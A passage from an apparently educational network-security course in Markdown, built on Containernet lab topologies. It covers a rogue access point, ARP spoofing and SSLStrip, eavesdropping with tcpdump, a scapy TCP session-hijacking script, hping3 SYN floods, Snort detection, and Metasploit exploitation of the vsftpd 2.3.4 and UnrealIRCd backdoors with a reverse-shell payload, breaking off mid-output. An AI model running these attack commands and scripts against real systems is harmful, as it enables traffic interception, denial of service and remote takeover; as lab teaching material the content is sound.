366 | - Database user: rogueuser Rogueuser password: roguepassword Database name: rogueap
367 | - Data entered by Alice can be checked on AP2 using the mysql> select * from wpa_keys command.
368 | - An AP on AP2 must be created using hostapd.
369 | - Chuck will connect to AP2 using wpa_supplicant.
370 |
371 |
372 | ```
373 | #!/usr/bin/python
374 |
375 | '''@author: Ramon Fontes
376 | @email: ramon.fontes@imd.ufrn.br'''
377 |
378 | import os
379 |
380 | from containernet.net import Containernet
381 | from containernet.node import DockerSta
382 | from containernet.cli import CLI
383 | from mininet.log import info, setLogLevel
384 |
385 |
386 | def topology():
387 | "Create a network."
388 | DISPLAY_ID = 0
389 | net = Containernet(ipBase='10.200.0.0/24')
390 |
391 | os.system('sudo xhost +local:docker')
392 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
393 |
394 | info("*** Creating nodes\n")
395 | ap1 = net.addAccessPoint('ap1', ssid="simplewifi", mode="g", channel="1",
396 | passwd='123456789a', encrypt='wpa2',
397 | failMode="standalone", datapath='user',
398 | mac='00:00:00:00:00:01')
399 | ap2 = net.addStation('ap2', cls=DockerSta, dimage="ramonfontes/rogue-ap", cpu_shares=20,
400 | mac='00:00:00:00:00:02')
401 | alice1 = net.addStation('alice', dimage="ramonfontes/seguranca", cpu_shares=20,
402 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
403 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
404 | passwd='123456789a', encrypt='wpa2', cls=DockerSta,
405 | mac='00:00:00:00:00:03', ip='10.200.0.2/24')
406 | chuck1 = net.addStation('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
407 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
408 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
409 | passwd='123456789a', encrypt='wpa2', cls=DockerSta,
410 | mac='00:00:00:00:00:04', ip='10.200.0.3/24')
411 |
412 | info("*** Configuring wifi nodes\n")
413 | net.configureWifiNodes()
414 |
415 | info("*** Associating Stations\n")
416 | net.addLink(alice1, ap1)
417 |
418 | info("*** Starting network\n")
419 | net.build()
420 | ap1.start([])
421 |
422 | ap1.cmd("ifconfig ap1-wlan1 up 10.200.0.10 netmask 255.255.255.0")
423 | ap2.cmd("ifconfig ap2-wlan0 up 10.200.0.1 netmask 255.255.255.0")
424 | ap2.cmd("echo \'10.200.0.1 ap2\' > /etc/hosts")
425 | ap2.cmd("service apache2 start")
426 | ap2.cmd("service mysql start")
427 |
428 | alice1.cmd('route add default gw 10.200.0.1')
429 | chuck1.cmd('route add default gw 10.200.0.1')
430 |
431 | info("*** Running CLI\n")
432 | CLI(net)
433 |
434 | info("*** Stopping network\n")
435 | net.stop()
436 |
437 |
438 | if __name__ == '__main__':
439 | setLogLevel('info')
440 | topology()
441 | ```
442 |
443 |
444 | ## References
445 |
446 | - Berghel, Hal, and Jacob Uecker. "WiFi attack vectors." Communications of the ACM 48.8 (2005): 21-28.
447 | - Yacchirena, Ana, et al. "Analysis of attack and protection systems in Wi-Fi wireless networks under the Linux operating system." 2016 IEEE International Conference on Automatica (ICA-ACCA). IEEE, 2016.
448 | - Agarwal, Mayank, Santosh Biswas, and Sukumar Nandi. "An efficient scheme to detect evil twin rogue access point attack in 802.11 Wi-Fi networks." International Journal of Wireless Information Networks 25.2 (2018): 130-145.
449 |
450 |
451 |
--------------------------------------------------------------------------------
/chapter4.md:
--------------------------------------------------------------------------------
1 |
2 | # Network Traffic Capture and Manipulation
3 |
4 |
5 | Traffic capture is the act of intercepting and recording packets that traverse a network. Traffic manipulation goes further: the attacker not only observes traffic but also alters, injects, or blocks packets to achieve goals such as data theft, injection of false information, or disruption of communications.
6 |
7 | These techniques are fundamental in penetration testing to:
8 |
9 | - Understand how the target network operates.
10 | - Identify protocols and sensitive data in transit.
11 | - Explore communication vulnerabilities.
12 |
13 | How capture works
14 |
15 | A device (physical or virtual) is configured to operate in one of these modes:
16 |
17 | - Promiscuous mode: the NIC captures every packet that arrives on the interface, even if it is not addressed to that host (typical for wired capture on a shared medium or when a switch is in port‑mirroring mode).
18 | - Monitor mode (wireless): the wireless adapter listens to all frames on the wireless channel, including those not intended for the listening station.
19 |
20 | Tools such as Wireshark and tcpdump let you filter, view and analyze packet contents.
21 |
22 |
23 | # ARP Spoofing
24 |
25 | dsniff is a package containing a set of network traffic analysis and password detection tools designed to analyze various application protocols and can be used to perform (in addition to sniffing, filtering, etc.) man-in-the-middle attacks on a LAN. In this exercise, we will focus specifically on the "ARP spoofing" attack, illustrated in the figure below.
26 |
27 | - Figure
28 |
29 |
30 | For this exercise consider running the code available below.
31 |
32 | ```
33 | #!/usr/bin/python
34 |
35 |
36 | '''@author: Ramon Fontes
37 | @email: ramon.fontes@imd.ufrn.br'''
38 |
39 | import os
40 |
41 | from mininet.log import setLogLevel, info
42 | from containernet.cli import CLI
43 | from containernet.net import Containernet
44 |
45 |
46 | def topology():
47 | "Create a network."
48 | DISPLAY_ID = 0
49 | net = Containernet(ipBase='10.200.0.0/24')
50 |
51 | os.system('sudo xhost +local:docker')
52 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
53 |
54 | info("*** Creating nodes\n")
55 | s1 = net.addSwitch('s1', failMode="standalone")
56 | alice1 = net.addDocker('alice', dimage="ramonfontes/seguranca", cpu_shares=20,
57 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
58 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
59 | mac='00:00:00:00:00:01')
60 | chuck1 = net.addDocker('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
61 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
62 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
63 | mac='00:00:00:00:00:02')
64 |
65 | net.addLink(alice1, s1)
66 | net.addLink(chuck1, s1)
67 |
68 | info("*** Starting network\n")
69 | net.build()
70 | net.addNAT().configDefault()
71 | s1.start([])
72 |
73 | chuck1.cmd('echo 1 > /proc/sys/net/ipv4/ip_forward')
74 |
75 | info("*** Running CLI\n")
76 | CLI(net)
77 |
78 | info("*** Stopping network\n")
79 | net.stop()
80 |
81 |
82 | if __name__ == '__main__':
83 | setLogLevel('info')
84 | topology()
85 | ```
86 |
87 | After executing the above code, try pinging from alice to the address 8.8.8.8.
88 |
89 | ```
90 | containernet> alice ping -c1 8.8.8.8
91 | ```
92 |
93 | The ping command should have succeeded. Now, check Alice's ARP table.
94 |
95 | Now, simulate the ARP spoofing attack using dsniff and have Alice send data to your fake gateway, chuck.
96 |
97 | First, open one terminal for chuck.
98 |
99 | ```
100 | containernet> xterm chuck
101 | ```
102 |
103 | Then, in the chuck terminal perform the attack.
104 |
105 | At this point on, Chuck can even use simple tools like SSLStrip (available at /sslstrip) to perform attacks on HTTPS (Hyper Text Transfer Protocol Secure) via protocol downgrade.
106 |
107 | To intercept unencrypted traffic, it's necessary to downgrade the victim's connection from HTTPS to HTTP. This is possible through SSLStrip. First, it's necessary to redirect outgoing traffic on port 80 to 8080 and then launch SSLStrip on port 8080.
108 |
109 |
110 | ## Passive Eavesdropping Attack
111 |
112 | Eavesdropping is a technique used to intercept communications between two or more parties without their knowledge or consent. This type of activity is commonly carried out by malicious individuals seeking to obtain confidential or sensitive information. There are two main forms of eavesdropping: active and passive.
113 |
114 | Passive eavesdropping is accomplished by simply monitoring communications without interfering with the message content. This can be done by capturing radio signals or intercepting data on a wireless network. Active eavesdropping involves intercepting and modifying communications. In this case, the attacker can modify the message content, insert false information, or even interrupt the communication. A common example of active eavesdropping is so-called "man-in-the-middle" eavesdropping, where the attacker positions himself between the two parties in the communication, intercepting and altering the messages.
115 |
116 | The consequences of eavesdropping can be serious, especially in cases involving sensitive information such as financial data or corporate secrets. It's important to adopt security measures to prevent this type of attack, such as using end-to-end encryption and secure virtual private networks (VPNs).
117 |
118 | In short, eavesdropping is an invasive practice that can compromise the security of sensitive information. Adopting security measures is essential to prevent this type of attack, as well as ensuring the privacy and confidentiality of communications.
119 |
120 | For this exercise, we will perform a passive eavesdropping attack. In this exercise, Alice and Bob will exchange files, and Chuck will be responsible for managing the switch. To put this exercise into practice, consider running the code below.
121 |
122 | ```
123 | #!/usr/bin/python
124 |
125 | '''@author: Ramon Fontes
126 | @email: ramon.fontes@imd.ufrn.br'''
127 |
128 | import os
129 |
130 | from mininet.log import setLogLevel, info
131 | from containernet.cli import CLI
132 | from containernet.net import Containernet
133 |
134 |
135 | def topology():
136 | "Create a network."
137 | DISPLAY_ID = 0
138 | net = Containernet(ipBase='10.200.0.0/24')
139 |
140 | os.system('sudo xhost +local:docker')
141 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
142 |
143 | info("*** Creating nodes\n")
144 | s1 = net.addSwitch('s1', failMode="standalone")
145 | alice1 = net.addDocker('alice', dimage="ramonfontes/seguranca", cpu_shares=20,
146 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
147 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
148 | mac='00:00:00:00:00:01')
149 | bob1 = net.addDocker('bob', dimage="ramonfontes/seguranca", cpu_shares=20,
150 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
151 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
152 | mac='00:00:00:00:00:02')
153 |
154 | net.addLink(alice1, s1)
155 | net.addLink(bob1, s1)
156 |
157 | info("*** Starting network\n")
158 | net.build()
159 | s1.start([])
160 |
161 | bob1.cmd('service ssh start')
162 |
163 | info("*** Running CLI\n")
164 | CLI(net)
165 |
166 | info("*** Stopping network\n")
167 | net.stop()
168 |
169 |
170 | if __name__ == '__main__':
171 | setLogLevel('info')
172 | topology()
173 | ```
174 |
175 | Then open new terminal for Chuck from s1 and start packet captures as below.
176 |
177 | ```
178 | containernet> xterm s1
179 | s1# tcpdump -i s1-eth1 -w captura.pcap
180 | ```
181 |
182 | Now, use netcat as below to make Bob listen for a connection on port 3000 and send the output of the connection to the file foo.txt.
183 |
184 | ```
185 | containernet> xterm bob
186 | bob# netcat -l -p 3000 > foo.txt
187 | ```
188 |
189 | Then, Alice creates a file with some content and sends it to Bob.
190 |
191 | ```
192 | containernet> xterm alice
193 | alice# echo 'Bob, I love you!' > foo.txt
194 | alice# busybox nc -w 3 10.200.0.2 3000 < foo.txt
195 | ```
196 |
197 | Alice creates another new file with the same content as the previous file and sends this new file to Bob.
198 |
199 | ```
200 | alice# echo 'Bob, I love you!' > bar.txt
201 | alice# scp bar.txt seg@10.200.0.2:/home/seg
202 | ```
203 |
204 |
205 | ## TCP Session Hijacking
206 |
207 | TCP Session Hijacking is a type of cyberattack in which an attacker intercepts and hijacks a TCP (Transmission Control Protocol) connection established between two network devices. The attacker can then send, modify, or delete data over the connection, which can lead to serious consequences, such as information theft, service disruption, and compromised data integrity.
208 |
209 | There are several ways to protect against TCP Session Hijacking. One is to use end-to-end encryption to ensure the confidentiality and integrity of transmitted data. This can be achieved through security protocols such as SSL (Secure Sockets Layer) or TLS (Transport Layer Security), which encrypt the connection and verify the authenticity of the devices involved in the communication.
210 |
211 | Another form of protection is the implementation of network firewalls and intrusion detection systems (IDS). These solutions can help identify attack attempts and block suspicious connections, as well as provide real-time alerts to enable a rapid response to potential threats.
212 |
213 | It's also important to keep systems and software updated with the latest security patches to avoid known vulnerabilities that could be exploited by attackers. Furthermore, implementing good security practices, such as using strong passwords, two-factor authentication, and limiting access to critical systems, can significantly reduce the risk of a successful TCP Session Hijacking attack.
214 |
215 |
216 | **Challenge**: Considering the network topology below, demonstrate TCP Session Hijacking through a video.
217 |
218 | ```
219 | #!/usr/bin/python
220 |
221 | '''@author: Ramon Fontes
222 | @email: ramon.fontes@imd.ufrn.br'''
223 |
224 | import os
225 |
226 | from mininet.log import setLogLevel, info
227 | from containernet.cli import CLI
228 | from containernet.net import Containernet
229 | from containernet.term import makeTerm
230 |
231 |
232 | def topology():
233 | "Create a network."
234 | DISPLAY_ID = 0
235 | net = Containernet(ipBase='10.200.0.0/24')
236 |
237 | os.system('sudo xhost +local:docker')
238 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
239 |
240 | info("*** Creating nodes\n")
241 | s1 = net.addSwitch('s1', failMode="standalone")
242 | alice1 = net.addDocker('alice', dimage="ramonfontes/vulnerable", cpu_shares=20,
243 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
244 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
245 | mac='00:00:00:00:00:01', ip='10.200.0.1/24')
246 | bob1 = net.addDocker('bob', dimage="ramonfontes/seguranca", cpu_shares=20,
247 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
248 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
249 | mac='00:00:00:00:00:02', ip='10.200.0.2/24')
250 | chuck1 = net.addDocker('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
251 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
252 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
253 | mac='00:00:00:00:00:03', ip='10.200.0.3/24')
254 |
255 | net.addLink(alice1, s1)
256 | net.addLink(bob1, s1)
257 | net.addLink(chuck1, s1)
258 |
259 | info("*** Starting network\n")
260 | net.build()
261 | s1.start([])
262 |
263 | chuck1.cmd('echo 1 > /proc/sys/net/ipv4/ip_forward')
264 | alice1.cmd('service xinetd start')
265 | makeTerm(chuck1, cmd="bash -c 'arpspoof -i chuck-eth0 -t 10.200.0.2 10.200.0.1'")
266 |
267 | info("*** Running CLI\n")
268 | CLI(net)
269 |
270 | info("*** Stopping network\n")
271 | net.stop()
272 |
273 |
274 | if __name__ == '__main__':
275 | setLogLevel('info')
276 | topology()
277 | ```
278 |
279 | To do this, consider the following scenario: Bob connects via telnet to Alice, and Chuck monitors all Bob's traffic destined for Alice. Chuck then uses the information from the last TCP packet captured in the communication between Bob and Alice after the telnet session was established, modifies the Python file below with the relevant information from the captured TCP traffic, and executes the Python file, causing a file named to be added to Alice.
280 |
281 | ```
282 | from scapy.all import *
283 |
284 | ip = IP(src="10.200.0.2", dst="10.200.0.1")
285 | tcp = TCP(sport=35466, \
286 | dport=23, \
287 | flags="A", \
288 | seq=923685705, \
289 | ack=1362742300)
290 | data = "echo 'I love you Alice'> bob.txt\n"
291 |
292 | pkt = ip/tcp/data
293 | send(pkt)
294 | ```
295 |
296 | The video should contain an introduction to TCP Session Hijacking and a demonstration of all the steps taken, from starting the Telnet session between Alice and Bob to inserting the file on Alice's machine.
297 |
298 |
299 | ## Denial of Service
300 |
301 | A denial-of-service attack (DoS attack) is a cyberattack in which the attacker attempts to render a machine or network resource unavailable to its intended users, temporarily or indefinitely disrupting the services of an Internet-connected host. A denial-of-service attack is typically accomplished by flooding the target machine or resource with superfluous requests in an attempt to overwhelm the systems and prevent some or all legitimate requests from being served.
302 |
303 | A distributed denial-of-service (DDoS) attack is a large-scale DoS attack in which the attacker uses more than one unique IP address, often thousands of them. Because the incoming traffic flooding the victim originates from many different sources, it is impossible to stop the attack simply using ingress filtering. It also makes it very difficult to distinguish legitimate user traffic from attack traffic when spread across so many origin points. As an alternative or augmentation of a DDoS, attacks may involve spoofing sender IP addresses (IP address spoofing), further complicating attack identification and mitigation.
304 |
305 |
306 | ### TCP SYN Flood
307 |
308 | In this attack, the victim will launch a web server, which will then be flooded with TCP SYN packets, rendering the web server inaccessible.
309 |
310 | For this exercise, consider running the code below and open terminals for Alice, Bob, and Chuck.
311 |
312 | ```
313 | #!/usr/bin/python
314 |
315 | '''@author: Ramon Fontes
316 | @email: ramon.fontes@imd.ufrn.br'''
317 |
318 | import os
319 |
320 | from containernet.net import Containernet
321 | from containernet.cli import CLI
322 | from mininet.log import info, setLogLevel
323 |
324 |
325 | def topology():
326 | "Create a network."
327 | DISPLAY_ID = 0
328 | net = Containernet(ipBase='10.200.0.0/24')
329 |
330 | os.system('sudo xhost +local:docker')
331 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
332 |
333 | info("*** Creating nodes\n")
334 | s1 = net.addSwitch('s1', failMode="standalone")
335 | alice1 = net.addDocker('alice', dimage="ramonfontes/seguranca", cpu_shares=20,
336 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
337 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
338 | mac='00:00:00:00:00:01')
339 | bob1 = net.addDocker('bob', dimage="ramonfontes/seguranca", cpu_shares=20,
340 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
341 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
342 | mac='00:00:00:00:00:02')
343 | chuck1 = net.addDocker('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
344 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
345 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
346 | mac='00:00:00:00:00:03')
347 |
348 | info("*** Creating Links\n")
349 | net.addLink(s1, alice1)
350 | net.addLink(s1, bob1)
351 | net.addLink(s1, chuck1)
352 |
353 | info("*** Starting network\n")
354 | net.build()
355 | s1.start([])
356 |
357 | alice1.cmd("echo \'10.200.0.1 alice\' > /etc/hosts && service apache2 start")
358 |
359 | info("*** Running CLI\n")
360 | CLI(net)
361 |
362 | info("*** Stopping network\n")
363 | net.stop()
364 |
365 |
366 | if __name__ == '__main__':
367 | setLogLevel('info')
368 | topology()
369 | ```
370 |
371 | Chuck then uses Hping to flood Alice with TCP SYN packets:
372 |
373 | ```
374 | chuck# hping3 -S --flood -p 80 10.200.0.1
375 | ```
376 |
377 | In Wireshark, Alice sees the high number of packets sent. Now, Bob tries to visit Alice's web server again, but finds it is no longer accessible.
378 |
379 | #### Alternative form of DoS attack:
380 | ```
381 | from scapy.all import *
382 |
383 | def send_packet(target_ip, target_port, iface="wlan0"):
384 | pkt = IP(dst=target_ip) / TCP(dport=target_port, flags='S')
385 | send(pkt, iface=iface, verbose=1)
386 |
387 | send_packet("192.168.1.2", 80, iface="wlan0")
388 | ```
389 |
390 |
391 | ## IDS/IPS
392 |
393 | IDS (Intrusion Detection System) and IPS (Intrusion Prevention System) are two essential technologies for protecting systems and networks against cyber threats. Both security solutions work to detect and prevent malicious intrusions, but they have different functions.
394 |
395 | An IDS is a solution that monitors the network and systems for suspicious activity or potential intrusion threats. It collects network traffic data and system events to analyze unusual behavior or activity patterns that may indicate a security breach. When an IDS detects a suspicious event, it typically sends an alert to a security team, which can then investigate and take action to mitigate the threat.
396 |
397 | An IPS, on the other hand, is a system that not only detects suspicious activity but also takes action to block it before it can cause damage. An IPS uses the information collected by the IDS to make automated decisions about what actions should be taken to prevent a threat. For example, an IPS can block traffic from a specific IP address or interrupt a connection to a compromised server.
398 |
399 | Both security solutions have their advantages and disadvantages. An IDS is useful for monitoring the network and systems for suspicious activity, but it may not be able to prevent an intrusion in progress. On the other hand, an IPS is designed to take quick and accurate action to stop a threat, but it can have a higher false positive rate and may block legitimate traffic.
400 |
401 | Cybersecurity organizations typically use a combination of IDS and IPS to protect their systems and networks from threats. Choosing the right solution for a given organization depends on the size of the network, the sensitivity of the data, and the threat level. The bottom line is that all organizations should have some form of intrusion detection and prevention on their systems to prevent damage to their business.
402 |
403 | In this exercise, we will perform a simple test to verify the functionality of an IDS/IPS. For this exercise, consider running the code below and opening terminals for the hosts alice, bob, and chuck.
404 |
405 |
406 | ```
407 | #!/usr/bin/python
408 |
409 | '''@author: Ramon Fontes
410 | @email: ramon.fontes@imd.ufrn.br'''
411 |
412 | import os
413 |
414 | from containernet.net import Containernet
415 | from containernet.cli import CLI
416 | from mininet.log import info, setLogLevel
417 |
418 |
419 | def topology():
420 | "Create a network."
421 | DISPLAY_ID = 0
422 | net = Containernet(ipBase='10.200.0.0/24')
423 |
424 | os.system('sudo xhost +local:docker')
425 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
426 |
427 | info("*** Creating nodes\n")
428 | s1 = net.addSwitch('s1', failMode="standalone")
429 | alice1 = net.addDocker('alice', dimage="ramonfontes/seguranca", cpu_shares=20,
430 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'], privileged=True,
431 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
432 | mac='00:00:00:00:00:01')
433 | bob1 = net.addDocker('bob', dimage="ramonfontes/seguranca", cpu_shares=20,
434 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'], privileged=True,
435 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
436 | mac='00:00:00:00:00:02')
437 | chuck1 = net.addDocker('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
438 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'], privileged=True,
439 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
440 | mac='00:00:00:00:00:03')
441 |
442 | info("*** Creating Links\n")
443 | net.addLink(s1, alice1)
444 | net.addLink(s1, bob1)
445 | net.addLink(s1, chuck1)
446 |
447 | info("*** Starting network\n")
448 | net.build()
449 | s1.start([])
450 |
451 | info("*** Running CLI\n")
452 | CLI(net)
453 |
454 | info("*** Stopping network\n")
455 | net.stop()
456 |
457 |
458 | if __name__ == '__main__':
459 | setLogLevel('info')
460 | topology()
461 | ```
462 |
463 | The snort configuration file is in snort.conf and you can make several customizations, such as limiting operation to a particular subnet, among others.
464 |
465 | Start snort with the command below:
466 | ```
467 | alice# snort -i alice-eth0 -d -l /var/log/snort/ -h 10.200.0.0/24 -A console -c /etc/snort/snort.conf
468 | ```
469 |
470 | Where:
471 | - i = interface
472 | - d = tells snort to show data
473 | - l = determines the logs directory
474 | - h = specifies the network to monitor
475 | - A = instructs snort to print alerts in the console
476 | - c = specifies snort the configuration file
477 |
478 | Now, let's launch a quick scan from Chuck using nmap:
479 |
480 | ```
481 | chuck# nmap -v -sT -O 10.200.0.1
482 | ```
483 |
484 | And notice that Snort detected the scan on Alice. Now, from Chuck, we'll perform a DoS attack with hping3.
485 |
486 | ```
487 | chuck# hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source 10.200.0.1
488 | ```
489 |
490 | And watch new information being printed on Alice's screen.
491 |
492 | ## References
493 | - Lee, Sangtae, Youngjoo Shin, and Junbeom Hur. "Return of version downgrade attack in the era of TLS 1.3." Proceedings of the 16th International Conference on Emerging Networking Experiments and Technologies. 2020.
494 | - Conti, Mauro, Nicola Dragoni, and Viktor Lesyk. "A survey of man in the middle attacks." IEEE Communications Surveys & Tutorials 18.3 (2016): 2027-2051.
495 | - Gangan, Subodh. "A review of man-in-the-middle attacks." arXiv preprint arXiv:1504.02115 (2015).
496 | - Qian, Zhiyun, Z. Morley Mao, and Yinglian Xie. "Collaborative TCP sequence number inference attack: how to crack sequence number under a second." Proceedings of the 2012 ACM conference on Computer and communications security. 2012.
497 | - Alicherry, Mansoor, Muthusrinivasan Muthuprasanna, and Vijay Kumar. "High speed pattern matching for network IDS/IPS." Proceedings of the 2006 IEEE International Conference on Network Protocols. IEEE, 2006.
498 | - Chakrabarti, S., Mohuya Chakraborty, and Indraneel Mukhopadhyay. "Study of snort-based IDS." Proceedings of the International Conference and Workshop on Emerging Trends in Technology. 2010.
499 | - Khamphakdee, Nattawat, Nunnapus Benjamas, and Saiyan Saiyod. "Improving intrusion detection system based on snort rules for network probe attack detection." 2014 2nd International Conference on Information and Communication Technology (ICoICT). IEEE, 2014.
500 | - AL-Musawi, Bahaa Qasim M. "Mitigating DoS/DDoS attacks using iptables." International Journal of Engineering & Technology 12.3 (2012): 101-111.
501 | - https://www.kali.org/tools/hping3/
502 |
503 |
--------------------------------------------------------------------------------
/chapter6.md:
--------------------------------------------------------------------------------
1 |
2 | # Exploitation and Post Exploitation
3 |
4 |
5 |
6 | ## Metasploit Framework
7 |
8 | The Metasploit Project is an open-source project that provides a public resource for researching security vulnerabilities and developing code that allows a network administrator to hack into their own network, identify security risks, and document which vulnerabilities need to be addressed first. The Metasploit Project's best-known creation is the Metasploit Framework, which is a software platform for developing, testing, and executing exploits. It can be used to create security testing tools and exploit modules, and also as a penetration testing system.
9 |
10 | msfconsole is probably the most popular interface for the Metasploit Framework (MSF). It provides a centralized, all-in-one console and allows efficient access to virtually all options available in MSF, and can be launched with the msfconsole command. The main components of MSF are exploits, which are pieces of code written to take advantage of specific vulnerabilities, and can be active, meaning they will exploit a specific host, run to completion, and then exit, or passive, which wait for hosts and exploit them as they connect.
11 |
12 |
13 | ## Backdoors
14 |
15 | Backdoors are specific types of Trojans that allow access to and remote control of an infected system. A backdoor is a means of accessing a computer system or encrypted data that bypasses the system's usual security mechanisms. A developer can create a backdoor so that an application or operating system can be accessed for troubleshooting or other purposes. However, attackers often use backdoors to detect flaws and exploit systems. In some cases, a worm or virus is designed to exploit a backdoor created in a previous attack.
16 |
17 | In this exercise, Metasploit will be used to gain access to Alice's shell from a backdoor.
18 |
19 | ```
20 | #!/usr/bin/python
21 |
22 | '''@author: Ramon Fontes
23 | @email: ramon.fontes@imd.ufrn.br'''
24 |
25 | import os
26 |
27 | from containernet.net import Containernet
28 | from containernet.cli import CLI
29 | from containernet.term import makeTerm
30 | from mininet.log import info, setLogLevel
31 |
32 |
33 | def topology():
34 | "Create a network."
35 | DISPLAY_ID = 0
36 | net = Containernet(ipBase='10.200.0.0/24')
37 |
38 | os.system('sudo xhost +local:docker')
39 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
40 |
41 | info("*** Creating nodes\n")
42 | s1 = net.addSwitch('s1', failMode="standalone")
43 | alice1 = net.addDocker('alice', dimage="ramonfontes/vulnerable", cpu_shares=20,
44 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
45 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
46 | mac='00:00:00:00:00:01')
47 | chuck1 = net.addDocker('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
48 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
49 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
50 | mac='00:00:00:00:00:02')
51 |
52 | info("*** Creating Links\n")
53 | net.addLink(s1, alice1)
54 | net.addLink(s1, chuck1)
55 |
56 | info("*** Starting network\n")
57 | net.build()
58 | s1.start([])
59 |
60 | alice1.cmd("echo \'10.200.0.1 alice\' > /etc/hosts && unrealircd")
61 | makeTerm(alice1, cmd="bash -c 'services.sh'")
62 |
63 | info("*** Running CLI\n")
64 | CLI(net)
65 |
66 | info("*** Stopping network\n")
67 | net.stop()
68 |
69 |
70 | if __name__ == '__main__':
71 | setLogLevel('info')
72 | topology()
73 | ```
74 |
75 |
76 | Running the above code will launch a series of services from Alice that should be identified as vulnerable.
77 |
78 | Then, scan these services from Chuck.
79 |
80 | ```
81 | chuck# nmap 10.200.0.1
82 | Starting Nmap 7.80 ( https://nmap.org ) at 2022-05-31 00:13 GMT
83 | Nmap scan report for 10.200.0.1
84 | Host is up (0.000011s latency).
85 | Not shown: 981 closed ports
86 | PORT STATE SERVICE
87 | 21/tcp open ftp
88 | 22/tcp open ssh
89 | 23/tcp open telnet
90 | 25/tcp open smtp
91 | 80/tcp open http
92 | 111/tcp open rpcbind
93 | 139/tcp open netbios-ssn
94 | 445/tcp open microsoft-ds
95 | 512/tcp open exec
96 | 513/tcp open login
97 | 514/tcp open shell
98 | 1099/tcp open rmiregistry
99 | 1524/tcp open ingreslock
100 | 2121/tcp open ccproxy-ftp
101 | 3306/tcp open mysql
102 | 5432/tcp open postgresql
103 | 6667/tcp open irc
104 | 8009/tcp open ajp13
105 | 8180/tcp open unknown
106 | MAC Address: 5A:3E:C9:7B:EE:31 (Unknown)
107 | ```
108 |
109 | vsftpd, a popular FTP server, is running on port 21. This particular version contains a backdoor inserted into the source code by an unknown attacker. The backdoor was identified and removed, but not before several people downloaded it. If a username ending in the smiley face is sent, the backdoor version will open a shell listening on port 6200. We can demonstrate this with telnet or use the Metasploit Framework module to automatically exploit it:
110 |
111 | **Note**: The input data below “user backdoored:)” and “pass invalid” are manual entries.
112 |
113 | ```
114 | chuck# telnet 10.200.0.1 21
115 | Trying 10.200.0.1...
116 | Connected to 10.200.0.1.
117 | Escape character is '^]'.
118 | 220 (vsFTPd 2.3.4)
119 | user backdoored:)
120 | 331 Please specify the password.
121 | pass invalid
122 | ^]
123 | telnet> quit
124 | Connection closed.
125 |
126 | chuck# telnet 10.200.0.1 6200
127 | Trying 10.200.0.1...
128 | Connected to 10.200.0.1.
129 | Escape character is '^]'.
130 | ```
131 |
132 | In the terminal above, you can exploit the vulnerability in Alice by starting to view Alice's files. For example, try running the ls command; and others available on Linux.
133 |
134 | The UnreaIRCD IRC daemon is running on port 6667. This version contains a backdoor that went unnoticed for months—triggered by sending the letters "AB" followed by a system command to the server on any listening port. Metasploit has a module to exploit this to obtain an interactive shell, as shown below.
135 |
136 | ```
137 | chuck# msfconsole
138 | chuck-msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
139 | chuck-msf exploit(unreal_ircd_3281_backdoor) > set RHOST 10.200.0.1
140 | chuck-msf exploit(unreal_ircd_3281_backdoor) > set LHOST 10.200.0.2
141 | chuck-msf exploit(unreal_ircd_3281_backdoor) > set payload payload/cmd/unix/reverse
142 | chuck-msf exploit(unreal_ircd_3281_backdoor) > exploit
143 |
144 | [*] Started reverse TCP double handler on 10.200.0.2:4444
145 | [*] 10.200.0.1:6667 - Connected to 10.200.0.1:6667...
146 | :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
147 | :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
148 | [*] 10.200.0.1:6667 - Sending backdoor command...
149 | [*] Accepted the first client connection...
150 | [*] Accepted the second client connection...
151 | [*] Command: echo 1kDD8bOZau1U2CMw;
